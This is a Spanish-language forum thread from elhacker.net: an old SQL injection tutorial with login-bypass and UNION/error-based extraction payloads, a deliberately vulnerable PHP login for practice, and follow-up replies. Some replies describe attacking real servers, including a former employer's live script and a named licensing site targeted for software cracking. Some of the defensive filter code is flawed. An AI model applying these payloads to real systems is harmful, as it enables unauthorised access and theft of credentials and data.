Foro de elhacker.net

Informática => Tutoriales - Documentación => Mensaje iniciado por: sirdarckcat en 10 Diciembre 2005, 04:34 am



Título: Tutorial de Inyección SQL (SQL Injection)
Publicado por: sirdarckcat en 10 Diciembre 2005, 04:34 am
Tutorial de Inyección SQL. (SQL Injection)
Por SirDarckCat (http://sirdarckcat.googlepages.com/)

La inyección SQL es el ataque vía web, que aprovecha errores en la filtración de datos introducidos por el usuario, y que permiten a un atacante, tener control de cierta aplicación.



ATENCIÓN

Para poder explotar con exito una falla de inyección SQL es necesario que sepan con anterioridad el lenguaje.

información sobre su implementación en PHP se puede encontrar en
http://php.net/mysql
http://dev.mysql.com/



Los ataques SQL pueden ser evitados de muchas formas, iniciare con algunos ejemplos de instrucciones vulnerables, con las “magic quotes” desactivadas.

Ejemplo 1
Código:
$us=$_POST['usuario'];
$pass=$_POST['pass'];
$sql="SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'";
-- código largo cortado --
Código:
if(mysql_fetch_array($exc)){
echo "Inicio de sesión correcto"; // Esto fue modificado
}

Este es el tipico sistema de verificacion de contraseñas..
utiliza la instruccion mysql_fetch_array(funcion de mysql, que devuelve falso si no hay ningun resultado, en la 'querry', o petición), asi que si no hay ningun resultado donde el usuario y el password conuerden, el resultado es false :P.

como podemos hacer que no devuelva false??
  • Con el password correcto
  • Haciendo trampa

Logicamente, no usaremos la primera opción xD

Haciendo trampa.. se haria algo asi:
esta es la petición que solo nos deja pasar si sabesmos el pass..

SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'

ahora, ¿como se puede hacer que nos devuelva true aunque no sepamos el password, sabiendo que solo podemos modificar $pass y $us?
Supongamos que ponemos de usuario Pegaso, y de password pjps.
El usuario existe, pero no sabemos el pass..
la sentencia que SQL recibira sera:

SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='pjps'

y como no hay ningun campo donde el usuario y el password coincidan, nos devolvera false :(

Ahora, con un poco de creatividad:
de usuario:    Pegaso
de password: ' OR ''='

la sentencia SQL recibira:
 
SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='' OR ''=''

nos devolvera true, si hay algun resultado y como NADA siempre es igual a NADA, nos devolvera true, y pasamos el mecanismo de validación como Pegaso.

Otros posibles valores que devuelven true son:
  • usuario: Pegaso AND /*   password: */ ''='
  • usuario: ' OR 1=1 //

Ahora... que si quisieras saber el password.. (te advierto, que normalmente esta cifrado, y deberas desencriptarlo, con alguna herramienta para eso como john the ripper), tomemos el siguiente ejemplo

Ejemplo 2
Código:
$us=$_POST[‘usuario’];
$pas=$_POST[‘pass’];
if($_GET['usuario'] || $_GET['pass']){
die("Hack Attempt");
}
$sql="SELECT password FROM usuarios WHERE user = '$us'";
-- código largo cortado --
Código:
$resp = mysql_query($sql) or die(mysql_error());
if(mysql_fetch_array($resp)){
if($resp==$pas){
echo "Inicio de sesión exitoso"; // Esto fue modificado
}else{
echo "el password $resp es incorrecto";
}
}


Bien, este ejemplo, que se ve mucho mas seguro (y sacado de una aplicación real), ¿es vulnerable?
SI, ¿porque?
Ya quedamos en que no hay magic quotes, las magic quotes son una función que trata de desactivar todas las cadenas introducidas por el usuario, que parezcan peligrosas, como comillas, diagonales, \0 etc..
el webmaster pensó, que como no usaba el mysql_fetch_array, entonces no podian usar un ' OR ''=', como la inyección clasica, pasada.

Ahora, queremos sacar el password.. pero.. ¿como?

Hay una instruccion en SQL llamada UNION, que sirve para obtener información de 2 tablas, o..
Bueno.. UNION necesita algunos requisitos.
  • Necesitas meter la misma cantidad de valores que tiene la tabla.
  • Tener un informe de los errores que provocaremos en la instrucción

Bien ahora empezemos.
la instrucción a modificar es la siguiente:

SELECT password FROM usuarios WHERE user = '$us'

como ejemplo, si colocalmos de usuario: zanahoria
la instrucción que llega seria:

SELECT password FROM usuarios WHERE user = 'zanahoria'

Otra vez necesitamos creatividad :D
regresemos al UNION.

UNION necesita que el numero de columnas sea igual, sino sacara un error.

y exactamente, lo que necesitamos es un error, que nos diga cuando estamos mal, para saber cuando estamos bien.

el UNION se usa de esta forma:

usuario: ' AND 0 UNION SELECT 1 AND 'l'='
SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''

para lo cual SQL nos respondera:
Citar
The used SELECT statements have a different number of columns:SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''

Continuando por el mismo camino, podemos hacer que nos regrese un error, al tratar de UNIR un campo de tipo INT (osea que guarda numeros) a un CHAR (guarda letras)

Quedaria algo asi:

' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria

la sentencia seria esta:

SELECT password FROM usuarios WHERE user = '' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria'

que nos da como error:
Citar
Syntax error converting the varchar value 'naranja' to a column of data type int.

donde el password es naranja   8) 8)


Las inyecciones ultimamente han logrado tener mas poder que antes, segun el blog de acidbits (http://acidbits.blogspot.com/), solo debemos sacar toda la información posible, y con un poco de esfuerzo, conseguimos tener control de archivos (crear, borrar, etc..).

el siguiente es un ejemplo, con la misma sentencia
usuario:
' AND 0 UNION SELECT 1,user(),3,4,5 AND 'l'='


y nos regresa:
Citar
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

que significa esto? que estamos metiendo valores en utf cuando debe ser en latin1.. eso lo arreglamos asi:

' AND 0 UNION SELECT 1,convert(user() using latin1),3,4,5 AND ''l='

y eso nos regresa:

Citar
root@localhost

esto, no es todo, con hacer que regrese valores con '<??>', podemos incluso crearnos nuestra shell.

Para ver el metodo completo de acidbits, da click aquí (http://acidbits.blogspot.com/).

Ejercicio :):
¿Que puedes hacer con esta sentencia?
Código:
$sql="UPDATE clicks set dat=now(), aas=aas+1 where  ref='$HTTPREFFERER'";
$resp = mysql_query($sql) or die(mysql_error());

Coloca el archivo anexo en tu servidor, con las respectivas configuraciones SQL necesarias, en una carpeta protegida, e intenta autohackearte, eso te dara practica.

Proximamente:
Blind SQL Inyection

Citar
(c) Sirdarckcat 2005
Autorizo la reproducción total o parcial de este documento bajo los terminos de la licencia de documentacion libre de GNU, una copia puede ser encontrada en http://www.gnu.org/


Título: Re: Tutorial de Inyección SQL
Publicado por: sirdarckcat en 10 Diciembre 2005, 04:42 am
Bibliografia y links de interes:
http://acidbits.blogspot.com/
http://mx2.php.net/mysql
http://www.kriptopolis.com/more.php?id=P17_0_1_0 (OFF)
http://www.milw0rm.com/papers/16


Título: Re: Tutorial de Inyección SQL
Publicado por: Ertai en 10 Diciembre 2005, 13:26 pm
Espero con entusiamo el Blind SQL Injection  :D :D :D

Gracias, muy bueno.

Citar
Parece que no estás autorizado para descargar o ver attachments en este foro.


Título: Re: Tutorial de Inyección SQL
Publicado por: programatrix en 13 Diciembre 2005, 21:08 pm
Sirdarckcat, no puedo descargar los atachament de este foro, podrías subirlo a algún otro sitio. Saludos  8)


Título: Re: Tutorial de Inyección SQL
Publicado por: whaky en 15 Diciembre 2005, 15:33 pm
gracias por tu manual Sirdarckcat


Título: Re: Tutorial de Inyección SQL
Publicado por: /* strcpy() */ en 15 Diciembre 2005, 16:01 pm
Muy bueno el tuto,es bueno como mustras con los ejemplos.
Esto me hizo querer aprender PHP + SQL y salir a explotar vulnerabilidades (por diversion, no por provecho xDDD)
Saludos


Título: Re: Tutorial de Inyección SQL
Publicado por: Isirius en 17 Diciembre 2005, 12:02 pm
Ahora me leere este y el de XSS Y intentare entenderlo y aplicarlo buscar en paginas asi estare mas preparaado para el proyecto jejejej.


Título: Re: Tutorial de Inyección SQL
Publicado por: marcela126 en 21 Diciembre 2005, 05:20 am
hola
pues la vdd yo entendi la mayoria de la parte de el tutorial pero lo que no entendi fue en donde inyectas el codigo que modificaste  :huh:


Título: Re: Tutorial de Inyección SQL
Publicado por: sirdarckcat en 23 Diciembre 2005, 05:47 am
Que raro que ustedes no puedan descargarlo..
Citar
hackme.zip (0.76 KB - descargado 20 veces.)
en fin..
Código:
<?php
// Llena estos campos de acuerdo a tu configuración

$dbuser="";
$dbpass="";
$dbhost="";
$dbdata="";

$pass=$_POST['pass'];
$login=$_POST['login'];
// ESTO ES PARA DESACTIVAR EL EFECTO DE LAS MAGIC QUOTES
$login = str_replace ( '\\\'', '\'', $login );
$pass = str_replace ( '\\\'', '\'', $pass );
// CONFIGURAR SEGUN TU BASE DE DATOS
$co = mysql_connect($dbhost, $dbuser, $dbpass);
// CONFIGURAR SEGUN TU TABLA
mysql_select_db($dbdata,$co);
if ($pass=='')
{
echo '<body>
<form action=login.php method=post>
<p align="center"><b>Login:</b><input type=text name=login value="ADMIN">&nbsp;
<p align="center"><b>Password del admin:</b><input type=text name=pass>&nbsp;
</p>
<p align="center">
<input type=submit value="Entrar"></p>
</form>
</body>';
}else{
// CAMBIAR EL NOMBRE DE LA TABLA
  $entrada = mysql_query("SELECT usuario FROM tabla Where usuario='$login' and password='$pass'",$co) or die(mysql_error());
  if(mysql_num_rows($entrada)=='0')
  {
echo 'Error en el login, el password '.$pass.' no corresponde a '.$login;
  }else{

echo 'Usted se nos logeo con éxito <br> Bienvenido';
}

}
mysql_close($co);
 ?>

marcela, el código lo colocas en un <input> o en la dirección de internet "?id=".. cualquier campo que entre en la petición SQL.
un lugar comun es un contador de visitas.. ponen refid=51124 donde 51124 es el id de la persona a la que le van a pagar por ese click.. y muchas veces no tienen ls magic activadas.. o no ponen comillas asi que hace nuestro trabajo aun mas sencillo.


Título: Re: Tutorial de Inyección SQL
Publicado por: marcela126 en 23 Diciembre 2005, 21:08 pm
hola, wueno tengo una pregunta..para que es el codigo de hackme.zip..ese lo subo a un host y pongo los datos de el server de otra pag en el cod y pongo el pass y eso?


Título: Re: Tutorial de Inyección SQL
Publicado por: sirdarckcat en 24 Diciembre 2005, 01:44 am
Si marcela, es para que practiques una inyección SQL..


Título: Re: Tutorial de Inyección SQL
Publicado por: SeniorX en 13 Enero 2006, 21:20 pm
Citar
<?php
// Por reydelmundo11
// quitar el comentario de la linea siguiente

// magic_quotes_gpc = Off;
?>
Nose como funciona eso :S.... pero para saber si las magic quotes estan activadas basta con hacer
Citar
<?php
echo  get_magic_quotes_gpc(); //te dice 0 si esta desactivadas y 1 adivinen cuando XD
?>

Muy bueno el tutorial, ahora mismo estoy haciendo la practica con hackme.php.
Solo me resta una pregunta: Si tiene magic quotes activadas, no se puede hacer NADA? he visto maneras de saltar eso haciendo
Citar
s%') UNION SELECT
Nunca he practicado sql inyection (buscando yo) pero se como prevenirme XD, y como recomendacion diria que es bueno filtrar TODOS los datos que el usuario pueda escribir... y con eso quedariamos limpios.

Ahhh y se me olvidaba,en form action = login.php, :P no existe, seria mejor poner php_self, pero eso no fue lo hice yo.

Ojalá que no te moleste (y bueno si te molesta.... lo borras XD)

Me tome la libertad de hacer el ejercicio mas amigable men :D, por lo tanto pongo el codigo :):

hackme.php
Código:
<?php
// Por reydelmundo11
$resp = get_magic_quotes_gpc();
if ($resp == 0 ) {
echo "Ok ok... tenemos serios problemas de seguridad";
} else {
echo "Todo bien :)";
}
echo '<body>
<form action=login.php method=post>
<p align="center"><b>Login:</b><input type=text name=login value="ADMIN">&nbsp;
<p align="center"><b>Password del admin:</b><input type=text name=pass>&nbsp;
</p>
<p align="center">
<input type=submit value="Entrar"></p>
</form>
</body>';
?>


login.php

Código:
<?php
// ESTO ES PARA DESACTIVAR EL EFECTO DE LAS MAGIC QUOTES
$login = str_replace ( '\\\'', '\'', $login );
$pass = str_replace ( '\\\'', '\'', $pass );
require ("../../config.inc.php");
conectar();
$entrada = mysql_query("SELECT usuario FROM usuarios Where usuario='$login' and password='$pass'",$conn) or die(mysql_error());
  if(mysql_num_rows($entrada)=='0')
  {
echo 'Error en el login, el password '.$pass.' no corresponde a '.$login;
  }else{

echo 'Usted se nos logeo con éxito <br> Bienvenido';
}
?>

Si sabes sql se hara muy facil resolver el ejercicio :), ah y recuerden que yo no hice el ejercicio, sino Sirdarckcat.

Chau


Título: Re: Tutorial de Inyección SQL
Publicado por: programatrix en 15 Enero 2006, 22:29 pm
Y con esto te puedes cargar las mysql inyection:
Citar
@set_magic_quotes_runtime(0);
Además de con esto:
Código:
function limpieza1($valor) 
{
$valor = str_replace($valor,'"',"//////");
$valor = str_replace($valor,"'","//////");
$valor = str_replace($valor,"@","//////");
$valor = str_replace($valor,"or","//////");
$valor = str_replace($valor,"UNION","//////");
$valor = str_replace($valor,"SELECT","//////");
$valor = str_replace($valor,"%2527","//////");
$valor = str_replace($valor,"%2725","//////");
$valor = str_replace($valor,"%20","//////");
return $valor;
}
Saludos  ::)


Título: Re: Tutorial de Inyección SQL
Publicado por: sirdarckcat en 16 Enero 2006, 02:56 am
Y con esto te puedes cargar las mysql inyection:
Citar
@set_magic_quotes_runtime(0);
Además de con esto:
Código:
function limpieza1($valor) 
{
$valor = str_replace($valor,'"',"//////");
$valor = str_replace($valor,"'","//////");
$valor = str_replace($valor,"@","//////");
$valor = str_replace($valor,"or","//////");
$valor = str_replace($valor,"UNION","//////");
$valor = str_replace($valor,"SELECT","//////");
$valor = str_replace($valor,"%2527","//////");
$valor = str_replace($valor,"%2725","//////");
$valor = str_replace($valor,"%20","//////");
return $valor;
}
Saludos ::)
xD
http://mx2.php.net/str_replace
la sintaxis que usas esta completamente mal.

seria algo asi:
$valor = str_replace("cosa-mala","//////",$valor);

::) xD

Saludos!!


Título: Re: Tutorial de Inyección SQL
Publicado por: programatrix en 17 Enero 2006, 22:52 pm
Pues yo lo uso de la otra manera y no me saca fallo....
Saludos  ::)


Título: Re: Tutorial de Inyección SQL
Publicado por: sirdarckcat en 18 Enero 2006, 07:01 am
obvio no va a sacar fallo.. amenos que quieras buscar en:
///////
si hay una comilla xD esto no sirve de nada.

checa la liga de php.net.

antes de ponerlo lo hubieras probado en local jeje.

Saludos!!


Título: Re: Tutorial de Inyección SQL
Publicado por: programatrix en 19 Enero 2006, 18:02 pm
Ya lo corregí, fue un error mío por no releer la documentacion  ;D


Título: Re: Tutorial de Inyección SQL
Publicado por: Abd al krim en 27 Enero 2006, 12:08 pm
Wenas.....

Yo he probado ha hacer una injeccion sobre una pagina que tengo en mi pc y no me funciona. Cada vez que meto en la casilla password algo del tipo' or ''='       pinto la consulta por pantalla y me devuelve lo siguiente
SELECT * FROM prueba_mary WHERE nombre = '' AND apellidos='\' or\'\'=\''

me esta escapando los caracteres ' pq ocurre esto?????? :shocked:

gracias


Título: Re: Tutorial de Inyección SQL
Publicado por: Abd al krim en 27 Enero 2006, 12:41 pm
Ya me rula!!!!!


Título: Re: Tutorial de Inyección SQL
Publicado por: cloferba en 28 Enero 2006, 05:33 am
donde debo introducir los datos de consulta?
en muchos ejemplos dan: en nombre poner ** y en apellido **.

donde encuentro esos campos?


Título: Re: Tutorial de Inyección SQL
Publicado por: Hans el Topo en 29 Enero 2006, 01:44 am
Código:
if (!$_POST){ 
//formulario por post blabla solo muestro lo interesante
echo"<INPUT TYPE='text' NAME='user' >";
                echo"<input type='password' NAME='pass'>";
//
}else{
//recogemos la información introducida
$user=$_POST["user"];
$pass=$_POST["pass"];

                //comprobamos que la información introducida no esta vacia blabla
                $pass=md5($pass); //contraseña cifrada
               //pedimos el usuario y la contraseña
                $resp=mysql_query("select user,password from usuarios where user like '$user' limit 1",$conecta);

if(mysql_num_rows($resp)>0){
$fila=mysql_fetch_array($resp);
$password=fila[1];
if($password==$pass){
                                //aki podriamos añadir  &&usuario==$user para hacerlo mas efectivo?
echo"Bienvenido $use conectado";
}else{
echo "Error al conectar";
}
}else{
echo "Error al conectar";
}

}


como se podría crakear esa validación? lo he estado intetando pero no lo he logrado, una ayudita?


Título: Re: Tutorial de Inyección SQL
Publicado por: sirdarckcat en 29 Enero 2006, 09:03 am
mmm.. intenta con esto en user.. depende de la estructura de la BD.. pero talvez funciona.
admin' UNION SELECT user,password /*


Título: Re: Tutorial de Inyección SQL
Publicado por: TeCh en 31 Enero 2006, 14:16 pm
A lo mejor me llevo alguna mala contestacion por vuestra parte, pero quisiera saber si seria posible el hackear una web en php, esta no tiene ningun filtro de alfanumerico, pero parece que si que tiene alguna otra proteccion, ya que al poner cualquier cosa que no sea un numero, me salta este error:

Código:
No puc connectar *|* SELECT * FROM articles WHERE id_article=0 and 0 UNION SELECT 1 limit 1

Es como si pusieras lo que pusieras, no contrara ante el codigo de mysql.

En fin, a ver si me podeis orientar un poko ante esto. Gracias.


Título: Re: Tutorial de Inyección SQL
Publicado por: R2d2_ en 20 Junio 2006, 17:29 pm
Hola... entiendo la inyeccion mas o menos sin ningun problema... El problema es cuando subo el archivo hackme.php a un servidor ( con php habilitado claro ) y no me lo arranca bien... Ademas estan configuradas las variables "dbhost" "dbuser" y "dbpass" la de "dbdata" no se lo que es ¿ una manita ? thx


Título: Re: Tutorial de Inyección SQL
Publicado por: sirdarckcat en 28 Junio 2006, 22:35 pm
necesitas un servidor sql r2d2_ ve el manual de e-brujo sobre instalar apache, ahi te dice como isntalar el mysql tambien

Saludos!!


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: sonyx_32 en 9 Septiembre 2006, 07:40 am
como que se que una pagina es vulnerable a este ataque, y como encuentro el archivo .php que interactua con la base de datos para hacer las inyeccciones o con cualquier archivo .php se pueden, disculpen mi ignorancia :rolleyes:


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: _the_master_36 en 2 Diciembre 2006, 03:24 am
Pues miren, iba a trabajar sobre un script en una web de una empresa, hace ya tiene poco tiempo e hice un script... llamado oferta.php, en el cual puse algo asi:

Código:
$resp=  mysql_query("SELECT * FROM cupon WHERE code = '$code'");
if(mysql_num_rows($resp) != 0) {

En el cual si el número dado es diferente a cero (osea que exista) procede a la acción. El problema es que actualmente ya no trabajo en la empresa, pero supe que pusieron online el script, y leyendo este post, queria yo intentar hacerlo, por que se que para poder controlar los codigos de oferta van poniendo manualmente números de dos digitos, osea algo asi: 01,02,03,04 y asi.. a estos les puse que se iban a llamar ID, no es automatico, sin embargo lo van poniendo manualmente para que a la hora de borrarlo sea mas fácil.

Y pues intente aplicar lo de OR pero no me funciono.. :P


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: sirdarckcat en 2 Diciembre 2006, 03:34 am
sonyx - creo que no entendiste el ataque..
the_master_63 - talves tiene las magic_quotes :P.. o le agregaron algun filtro..

Saludos!!


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: _the_master_36 en 2 Diciembre 2006, 06:21 am
Si entendi, y no creo que le hayan puesto filtro, por que a como acabe algunos script de la web, los iban subiendo.. Mira lo que intente fue esto: ' OR id = '01, yo se que hay una columna que se llama ID conde van poniendo los números seguidos asi: 01,02,03 por que asi lo deje..

Entonces la sentencia quedo asi:
Código:
$resp=  mysql_query("SELECT * FROM cupon WHERE code = '$code' OR id = '01'");
if(mysql_num_rows($resp) != 0) {

Pero no jalo xD  :rolleyes:


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: sirdarckcat en 5 Diciembre 2006, 20:25 pm
entonces tiene las magic quotes xD

Saludos!!


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: Liebig en 8 Julio 2007, 00:34 am
Hola, ya tengo el codigo fuente dela inyeccion, en que programa escribo el cogigo fuente, para inyectarlo, y como lo subo a la red para que lo inyecte


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: ZyrroX en 15 Agosto 2007, 23:42 pm
Bueno a ver...... lei el tuto y mas o menos lo voy pillando, pero tengo problemillas a la hora de realizar las pruebas con el hackme.php ..... pero me pide el archivo login.php tambien  :huh:

Despues seniorX puso el codigo, pero claro en su codigo parece que hace falta el archivo config.inc.php

Alguien sabe como es ese archivo??
(tengo el appserv funcionando y con magicquotes en off, pero no logro que funcione la parctica)

A ver si alguien me puede guiar. Saludos.


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: farra007 en 6 Mayo 2008, 15:45 pm
para evitar la inyeccion usar esta funcion:

Código:


 if (!function_exists("GetSQLValueString")) {
function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "")
{
  $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;

  $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue);

  switch ($theType) {
    case "text":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;
case "text2":
      $theValue = ($theValue != "") ? "" . $theValue . "" : "NULL";
      break;   
    case "long":
    case "int":
      $theValue = ($theValue != "") ? intval($theValue) : "NULL";
      break;
    case "double":
      $theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" : "NULL";
      break;
    case "date":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;
    case "defined":
      $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
      break;
case "like":
      $theValue = ($theValue != "") ? "'%" . $theValue . "%'" : "NULL";
      break;
case "likedespues":
      $theValue = ($theValue != "") ? "'" . $theValue . "%'" : "NULL";
      break;
case "likeantes":
      $theValue = ($theValue != "") ? "'%" . $theValue . "'" : "NULL";
      break;
  }
  return $theValue;
}
}



Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: :ohk<any> en 6 Mayo 2008, 21:32 pm
Muy bueno, al menos para mi que recién me inicio en esto del SQL Injection  :P


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: zharghost en 9 Mayo 2008, 07:11 am
muy interesante el tutorial aunque la verdad mucho no etniendes esto cada archivo que ponen al inicio tienen que tener uds ya un sistema basico web con un index.php o index.html con login para que puedan practicar en uno real bueno la menos ais lo hago yo lo que si me gustaria profundizar mas en esto, lei un poko de un manual de "blinded" y al verdad es muy bueno seria buena idea que tambien lo posteen nuestros amigos Mod's y si no lo ponen lo posteare yo a ver que aportes recibimos


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: encurto en 22 Noviembre 2008, 15:03 pm
Buenas, estoy haciendo un trabajo sobre MySQL injection y para ello he hecho un simple ejemplo que consta de un formulario que tiene un input text donde introducimos un nombre de usuario. Cuando le doy al boton llamo a un php que ejecuta una consulta mysql

Código:
"SELECT * FROM Usuarios WHERE login = '{$_POST['login']}'"

Ahora lo que quiero hacer es demostrar el tipico ejemplo de que si en el input text escribo el siguiente login  algo' OR '1'='1 voy a poder loguearme siempre.
 Mi problema es que al imprimir $_POST['login'] me devuelve esto: algo\' OR \'1\'=\'1 por lo que la inyeccion sql no me funciona.

¿Sabeis como puedo evitar que php me incruste el caracter \' ?

Gracias!


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: UberCracker en 24 Febrero 2009, 19:35 pm
Hola he estado probando eso de inyecciones SQL en una web php pero me sale igual que Encurto es decir este error:

ERROR : El usuario '\' OR 1=1--' no existe, el password es incorrecto, o ya fue registrado. Intente nuevamente el registro

el sistema antepone el \ eso se debe a la configuracion del php? hay alguna manera de saltar esa proteccion?

espero respuestas!

se agradece de antemano!




Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: fable2 en 9 Marzo 2009, 07:03 am
y ¿alguien conoce una tecnica si no tengo ni el user ni el pas?


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: Darioxhcx en 9 Marzo 2009, 07:56 am
y ¿alguien conoce una tecnica si no tengo ni el user ni el pas?
magia ?
explicate bien xD
yo tampoco tengo ni el user ni el pass de una web , como entro ?
es lo mismo man .__.
hay que ser explicitos en las preguntas
saludos


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: i-node en 1 Abril 2009, 18:02 pm
Estoy inyectando codigo en un servidor, pero el problema es que se cual es el nombre de la base de datos, pero necesito hacer un listado de las tablas de esa base de datos. He probado de la siguiente forma:

' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''='

' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='nombre_bd' AND TABLE_NAME='nombre_tabla') AND ''='

' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%u%')>1 AND ''='

Pero me dice que la sintaxis es incorrecta.. Alguna sugerencia?


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: i-node en 1 Abril 2009, 21:09 pm
Estoy inyectando codigo en un servidor, pero el problema es que se cual es el nombre de la base de datos, pero necesito hacer un listado de las tablas de esa base de datos. He probado de la siguiente forma:

' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''='

' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='nombre_bd' AND TABLE_NAME='nombre_tabla') AND ''='

' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%u%')>1 AND ''='

Pero me dice que la sintaxis es incorrecta.. Alguna sugerencia?


Es mas, estando dicha consulta dentro de un magicsql("..."); si yo introduzco un

' "); echo "loquesea"; <!--

Ese comentario php <!-- deberia hacer que ignorase todo lo que venga detras o includo con un ?>
Pero el caso es que no funciona, y es rarisimo, puesto que si hago un <!-- OR 1=1 y hago que me salte un error de sintaxis de MySQL, muestra todo menos el comentario y lo que viene detras, con lo cual se supone que esta funcionando ese comentario, pero no es asi, porque si cierro la sentencia SQL antes del comentario con "); y hago el echo "loquesea"; me salta un error de sintaxis porque interpreta ese echo como si fuese parte de la consulta SQL ¿?¿?¿?

Ver para creer..


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: CICOLO_111234 en 16 Abril 2009, 12:05 pm
hola!

en algunos buscadores si buscas ' te da un error diciendo q tienes 1 fallo SQL... Cómo se podría explotar eso?

gracias

salu2


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: redkram en 9 Julio 2009, 17:07 pm
Citar
function limpieza1($valor)
{
$valor = str_replace($valor,'"',"//////");
$valor = str_replace($valor,"'","//////");
$valor = str_replace($valor,"@","//////");
$valor = str_replace($valor,"or","//////");
$valor = str_replace($valor,"UNION","//////");
$valor = str_replace($valor,"SELECT","//////");
$valor = str_replace($valor,"%2527","//////");
$valor = str_replace($valor,"%2725","//////");
$valor = str_replace($valor,"%20","//////");
return $valor;
}

Hace algun tiempo me curré un pequeño tutorial de inyección sql donde explicaba el problema de muchas webs y sus replace.

Hay un fantástico símbolo que casi nadie remplaza y aun sirve para comprobar muchas webs. El símbolo lo usa casi todo el mundo casi cada dia... al pagar el iva ;), siii es el comodín de mysql (%)<--- el x por ciento o &#37

select * from users where user like '%' and pass like '%'

¿Ahhh que compruebas que necesita mínimo 8 dígitos? ok perdona

select * from users where user like '%%%%%%%%' and pass like '%%%%%%%%'

Además sirve por ejemplo directamente en las urls

http://www.weblaquesea.com/?id=%&provincia=%&pais=%

Respuesta= Un super listado de fichas (bucle de la web) que con un poquito de idea y posiblemente ajax, puedes organizar en un xml dinámico y guardarlo en tu escritorio para luego...

Digamos que con formularios locales apuntando a una web con "error" devolviendo los resultados en ajax y estructurando los datos con Arrays ej: x=split(codigo,"<tr>"), en un xml, luego con ganas y dreamweaver puedes hacer una bd enterita.

Salu2

Redkram


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: Og. en 31 Julio 2009, 09:37 am
hola!

en algunos buscadores si buscas ' te da un error diciendo q tienes 1 fallo SQL... Cómo se podría explotar eso?

gracias

salu2
pues tecnicamente esta haciendo un llamado a una tabla que solo tiene informacion de busquedas, pero alomejor puedes encontrar algo mas con UNION


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: dimitrix en 22 Enero 2010, 14:41 pm
Married me!


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: Panchz en 6 Noviembre 2010, 20:07 pm
duplicated.. srry


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: Panchz en 6 Noviembre 2010, 20:15 pm
i think u cant use sql injection to login into an username account if the password is encrypted before the query.. heres an example:

-------------------
$password = md5($password)

SELECT User, Password FROM users WHERE User='$Username' AND Password='$password'

--------------
so, if you use this as a password:
' OR ''='
before the query.. it will be encrypted to this:
d20da3888278ec814f6a837f260b60df

so... it will be like this

SELECT User, Password FROM users WHERE User='Example' AND Password='d20da3888278ec814f6a837f260b60df'

doesnt matter what you type on password form..
i think thats like the best security you  can have

however i think u can yet mess with the username... as encripting the username is not used anywhere


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: deathspartan217 en 27 Julio 2011, 05:52 am
 ;D ;D hola acabo d darme cuenta d esta pagina y recientemente vi este tema, se me hace genial solo q tengo unas dudas...
¿Esto puede funcionar con facebook??
¿ha habido modificaciones en el codigo en estos años q sea indispensable q sepa alguien para llevar a cabo esto?


espero q me den respuesta GRACIAS  :xD :xD :xD


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: christian199743 en 7 Diciembre 2011, 03:07 am
Amigos me podria ayudar a hacer una inyeccion SQL a esta pagina: https://licensetransfer.elicenser.net:8443/LSWebServices/jsp/Login.jsp (https://licensetransfer.elicenser.net:8443/LSWebServices/jsp/Login.jsp) TODA UNA COMUNIDAD OCUPA DE ESTA INYECCION PERO SI SE PREGUNTAN que buscamos seria este archivo en ese servidor uno de estos dos:
SYNSOEMU.dll
o
SYNSOACC.dll
Es de un programa que an querido crackear: Nexus 2.2.1


Título: Re: Tutorial de Inyección SQL (SQL Injection)
Publicado por: astinx en 16 Diciembre 2011, 17:38 pm
Disculpame, en el ejemplo de
Código:
<?php
$us=$_POST['usuario'];
$pas=$_POST['pass'];
if($_GET['usuario'] || $_GET['pass']){
die("Hack Attempt");
}
/*Conectamos*/
